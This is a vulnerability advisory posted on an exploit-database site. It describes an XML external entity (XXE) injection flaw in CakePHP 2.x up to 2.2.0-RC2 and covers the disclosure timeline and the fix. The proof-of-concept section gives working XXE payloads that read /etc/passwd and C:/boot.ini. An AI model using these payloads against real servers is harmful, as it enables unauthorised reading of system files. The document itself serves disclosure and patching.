[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

CakePHP 2.x-2.2.0-RC2 XXE Injection

Author
Pawel Wylecial
Risk
[
Security Risk High
]
0day-ID
0day-ID-18995
Category
web applications
Date add
16-07-2012
Platform
php
# Exploit title: CakePHP XXE injection
# Date: 01.07.2012
# Software Link: http://www.cakephp.org
# Vulnerable version: 2.x - 2.2.0-RC2
# Tested on: Windows and Linux
# Author: Pawel Wylecial
# http://h0wl.pl
1. Background
 
Short description from the project website: "CakePHP makes building web applications simpler, faster and require less code."
 
2. Vulnerability
 
CakePHP is vulnerable to XML eXternal Entity injection. The class responsible for building XML (it uses PHP SimpleXML) does allow local file inclusion.
 
3. Proof of Concept
 
Linux:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///etc/passwd" >]>
<request>
  <xxe>&payload;</xxe>
</request>
 
Windows:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///C:/boot.ini" >]>
<request>
  <xxe>&payload;</xxe>
</request>
 
4. Fix
 
Fix applied in version 2.2.1 and 2.1.5. See official security release:
http://bakery.cakephp.org/articles/markstory/2012/07/14/security_release_-_cakephp_2_1_5_2_2_1
 
5. Timeline
 
1.07.2012 - vulnerability reported
13.07.2012 - response from CakePHP
14.07.2012 - confirmed and fix release



#  0day.today [2024-11-15]  #